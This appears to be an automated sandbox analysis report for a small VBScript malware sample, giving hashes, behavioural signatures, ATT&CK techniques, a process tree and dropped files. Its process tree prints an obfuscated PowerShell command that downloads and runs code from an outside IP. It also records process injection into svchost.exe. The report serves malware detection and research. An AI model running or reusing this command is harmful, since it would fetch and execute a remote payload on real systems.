4f75b70ef696ec050a6ee5f6be7bd7be445526aa5a3b23f5340ecc097281ca11

Analysis

max time kernel
149s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/10/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
agent_20261006_184902.vbs
Size 175B
Sample261007-wllcksdx3j
SHA256 4f75b70ef696ec050a6ee5f6be7bd7be445526aa5a3b23f5340ecc097281ca11
MD5 bccab38d9c9a08297941cbad5da9d539
SHA1 4c8a93abafc9fe108161960412f2bfeef69ea452
SHA512 9c375f584fe74fe01697c1a65bca2a26655e81d3b12a8fdd4dcb5e845b32da5f8a36f160df1cb3fb65d08551e511ec4b55fce7b1685ef4efd3aa49eac29e37f9
TLSH
T16CC08097F401887D1E4FFD5981655C0D8992516514A545F27F68ED48555E0545DB0201
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1612	powershell.exe
6	1612	powershell.exe
7	1612	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 10 IoCs

pid	Process
5288	svchost.exe
1040	svchost.exe
2144	svchost.exe
2356	svchost.exe
5884	svchost.exe
552	svchost.exe
1500	svchost.exe
4756	svchost.exe
3240	svchost.exe
5888	svchost.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3412	WScript.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 1612 set thread context of 5288	1612	powershell.exe	93
PID 1612 set thread context of 1040	1612	powershell.exe	106
PID 1612 set thread context of 2144	1612	powershell.exe	111
PID 1612 set thread context of 2356	1612	powershell.exe	122
PID 1612 set thread context of 5884	1612	powershell.exe	125
PID 1612 set thread context of 552	1612	powershell.exe	128
PID 1612 set thread context of 1500	1612	powershell.exe	133
PID 1612 set thread context of 4756	1612	powershell.exe	136
PID 1612 set thread context of 3240	1612	powershell.exe	140
PID 1612 set thread context of 5888	1612	powershell.exe	143

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 1612	3412	WScript.exe	84
PID 1612 wrote to memory of 1360	1612	powershell.exe	88
PID 1360 wrote to memory of 748	1360	csc.exe	89
PID 1612 wrote to memory of 3844	1612	powershell.exe	91
PID 3844 wrote to memory of 1740	3844	csc.exe	92
PID 1612 wrote to memory of 5288	1612	powershell.exe	93
PID 1612 wrote to memory of 1040	1612	powershell.exe	106
PID 1612 wrote to memory of 2144	1612	powershell.exe	111
PID 1612 wrote to memory of 2356	1612	powershell.exe	122
PID 1612 wrote to memory of 5884	1612	powershell.exe	125
PID 1612 wrote to memory of 552	1612	powershell.exe	128
PID 1612 wrote to memory of 1500	1612	powershell.exe	133
PID 1612 wrote to memory of 4756	1612	powershell.exe	136
PID 1612 wrote to memory of 3240	1612	powershell.exe	140
PID 1612 wrote to memory of 5888	1612	powershell.exe	143

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\agent_20261006_184902.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "irm http://23.132.164.37:8080/829ed81c-30b7-4968-8336-47d09423f4c6 | & (gal i?x)"
  2⤵
  - Badlisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E1F.tmp" "c:\Users\Admin\AppData\Local\Temp\4oov2urq\CSCC501DFD3F23848A494824989882EA8DA.TMP"
      4⤵
      PID:748
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FB6.tmp" "c:\Users\Admin\AppData\Local\Temp\ly43uoul\CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP"
      4⤵
      PID:1740
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:5288
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:1040
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:2144
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:2356
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:5884
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:552
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:1500
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:4756
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:3240
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:5888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4oov2urq.dll

Path C:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.dll
Size 3KB
SHA256 561b44a6f1e84aa31086f5211d752115997bddecc05fed2c34bc461b9f494358
MD5 1c5bb81abb3ac6d9b32efeb4eb99bb89
SHA1 94b7adc4967b2009e8e4608da877a063f1ba29ea
SHA512 f9e58391c8a7ffeb2e9cf18a1e8bc667b52dc0e03a5ef5cc4c5e821412c512fc48d622af0e24ff6b3fdbfb2215c8ff2aa4284ae99d9b094f11ecd7f45f694673
TLSH
T1CD51CB0B93F8462BF4770730AEF3432637B8F8508B73575E18804228BCA57545E21BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES9E1F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9E1F.tmp
Size 1KB
SHA256 9be6453bde8eca6797ed06da4cde1fa057df84e57f60c1c5ed96a220feab16f6
MD5 54c12ba8e922437e5e12027b8cd9bc51
SHA1 64399cbc21c61ecc15aae6d4d6a7b88b7b4652ee
SHA512 c7eaad99cb77df2db9b455dfcce9ad44a7f6ca3c4bb7b2966eacc2f90d5ba914451b669cd17cb9322df72a0cec074b33529a3df517fb98eff1fe21426f9fe698
TLSH
T197216A4583F88B0FF0778731A9F6132B9278FD95EF62975B854052282C51604EEA0B73
MD5 SHA1 SHA512 TLSH

Submit Download

RES9FB6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9FB6.tmp
Size 1KB
SHA256 7ee38411844e5686c6116b3f1e98f04fa04f9d8fec7225cced7c40222cb65b81
MD5 96ab84a7f36ed4ec4049a8da30bc99a4
SHA1 09fa06f97f57328dd48a60f9710caeebd98acc6e
SHA512 16bec5926daa07d84a785744ee59440883b7c7f8277668d0e68cc2474c896f3d1226ec77a02d4a2d7de0641475e199c608e1d3cef1481a35caf1f80eeb2a1d83
TLSH
T1B021890587E94B1FF4774731B9F6072BA27AFD66EF62975A8480822C1C51104EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wkggr510.e22.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkggr510.e22.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ly43uoul.dll

Path C:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.dll
Size 7KB
SHA256 0548b8be12c888d44b29aca228086b755ca29fc391c8a3dbf2e548d00c535f17
MD5 278146404de53c3a19f5bbda12692fc9
SHA1 cf0b8f3125a3e56d95dc555afe1c1245e22e96a4
SHA512 caee1e28a7fe8cdce2b02eb48440615358d20ec3184520de46d967b78fd3e9743f9a1e70b10d0ff60a3c1cc661ace00e9e0a1c899bb0194982a84e3ef1a25baa
SSDEEP 96:PguYgZxIVIkaxN3rISmCUVYCaMNdFXzLaQhK:PguYgEda/3yCCrvdan
TLSH
T186F1095ECB8C8275EA5E0B39A8F306056BB484458F338A5B09ECD1073E67B9917633E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4oov2urq.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.0.cs
Size 295B
SHA256 e79f623eda1fb8bfb3ceb441dadf01a25b45f37f19f39ff256c77d52f8b454e8
MD5 4e3d809d9542dd5a09b58080bdc7fd32
SHA1 dccce4d18ce5b086d3c6a5935736cb2acba0df08
SHA512 8bb09adc1e7a0f9620704dd757bbdf21e114639012660612955e657f42fe431e499618f6b9fbbc30d67cb5415900cbb865412be033797a216fe88f916480fc6e
TLSH
T18BE0CD1C6AF29AB0806348154C47D5FD761B51363179160576F50320EF4B0094139559
MD5 SHA1 SHA512 TLSH

Submit Download

4oov2urq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.cmdline
Size 369B
SHA256 5e35ae2afb360333d80de980058592384446f8fbd76ae714c28f650a5b6a2d09
MD5 421d0de0ff0ae78980312ea63bb51f00
SHA1 3c84d0c6c7c79a5974d114d6817d04f03db60103
SHA512 55324c5a5a034e4a6b000319a71e2d92c2dcb4171870800389b8d9d1c43a8e000a6f3bdfb3c505dc146d5ef0c38a3e15aea43b23db0fb1e55ef9d0cf40e7b709
TLSH
T1F6E02A2B4366C3AE02E9100B327AC4EC82B206832A882F849240840DE42B480AFD2781
MD5 SHA1 SHA512 TLSH

Submit Download

CSCC501DFD3F23848A494824989882EA8DA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\CSCC501DFD3F23848A494824989882EA8DA.TMP
Size 652B
SHA256 e50b1608a121eec18b0853a9ed271de1c364e756805f23f515fe822f59de1cbc
MD5 a11a29cce0e040928dd582a76591adf1
SHA1 cd043ab4d99c78bc994bd5a522d2561f296ee9cc
SHA512 251617934726ad158de02fc2b0c3479b7e761b4731c2c5b8bfa23f4e6068bb765eb4426bd501ac076d674700831362e1219b515c07270492e625bec2287eedfa
TLSH
T10EF05449A3F8420EF0F34B30BDF5436391B9BDA5DE3293ED1480131928646109661F72
MD5 SHA1 SHA512 TLSH

Submit Download

CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP
Size 652B
SHA256 3e2548cb171674209d06d5c6910406d86528de6aa4e6c53031c2999bacc74a04
MD5 1d6fce7ec525f54394f0b50ece561f3d
SHA1 bc9ce78c1d2a45b398b9c1e9c0d08533e6471bdc
SHA512 bab71d67feb2cf214c86ca74ff56d655d2db67b3e57f7767de1dcc848b1abc7b2ccd050dc519e516a97db2eda293f6bd5fab883c8c26ad5a7c7c99c79d186a57
TLSH
T124F0820A63F8120EF5F34B30FEF6836391AABC66DE3293ED5480431D2C645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ly43uoul.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.0.cs
Size 10KB
SHA256 e098b4d074052a8cfb3a15706dfc9827e9b0200e0163b68fa4760d60ff032ab8
MD5 def95e06ed7e895f86ad3f65c3d9459a
SHA1 73c4ad4388d69cfd24b32b8f82aac11a23a5f122
SHA512 c3c89a45ce0d1534a790e3d61d70c8482bbc669739b979ab924ce97c1d7f6653e0c2f819e2894bae1489ce66583d6142a90d53376c83367146b3faa8f2952be7
SSDEEP 192:4Gd1M4ocsoEoF6MUQB7jwhLCOVIMqorErlQgkInWwAXJ2:4Gd1JNsvYlGwAXJ2
TLSH
T15E2240E56725922A8C76211D9ECEA05DF60352331FBA16167ABC87312F3A068F27770D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ly43uoul.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.cmdline
Size 369B
SHA256 8b0992ecda493367043904aa0534c6e2bb74287e17b2795ca8790a4eacebe54b
MD5 80f79048b8d23da20ea591fc81e1ca88
SHA1 8e63c73d8b19781a44d5ae747568602ae539e11b
SHA512 d63469da36300bf65e64673cd539894ba849a2c8d8183e396d16fb4ac7376f62c601f4e36f26cd91564bebeb09c7aa507862fdaf9cd6b7439993870296b19bf1
TLSH
T198E0C02B4F46C27E81DE500721B9C5EDC672075329403F885180C48FD017000A7D17C1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/552-952-0x00007FF63A3A0000-0x00007FF63A3AC000-memory.dmp

Download

memory/1040-344-0x00007FF737D40000-0x00007FF737D4C000-memory.dmp

Download

memory/1500-1104-0x00007FF78E970000-0x00007FF78E97C000-memory.dmp

Download

memory/1612-141-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/1612-0-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/1612-10-0x0000012AD30D0000-0x0000012AD3292000-memory.dmp

Download

memory/1612-2-0x0000012AB7FE0000-0x0000012AB8002000-memory.dmp

Download

memory/1612-39-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/1612-40-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/1612-23-0x0000012AD0640000-0x0000012AD0648000-memory.dmp

Download

memory/1612-24-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/1612-37-0x0000012AD2C80000-0x0000012AD2C88000-memory.dmp

Download

memory/1612-1-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

Download

memory/2144-496-0x00007FF7E8BF0000-0x00007FF7E8BFC000-memory.dmp

Download

memory/2356-648-0x00007FF7B9B20000-0x00007FF7B9B2C000-memory.dmp

Download

memory/3240-1408-0x00007FF6ED160000-0x00007FF6ED16C000-memory.dmp

Download

memory/4756-1256-0x00007FF664CE0000-0x00007FF664CEC000-memory.dmp

Download

memory/5288-192-0x00007FF7BBDF0000-0x00007FF7BBDFC000-memory.dmp

Download

memory/5288-41-0x000001398A280000-0x000001398A2FB000-memory.dmp

Download

memory/5884-800-0x00007FF6EB830000-0x00007FF6EB83C000-memory.dmp

Download

memory/5888-1560-0x00007FF7EF450000-0x00007FF7EF45C000-memory.dmp

Download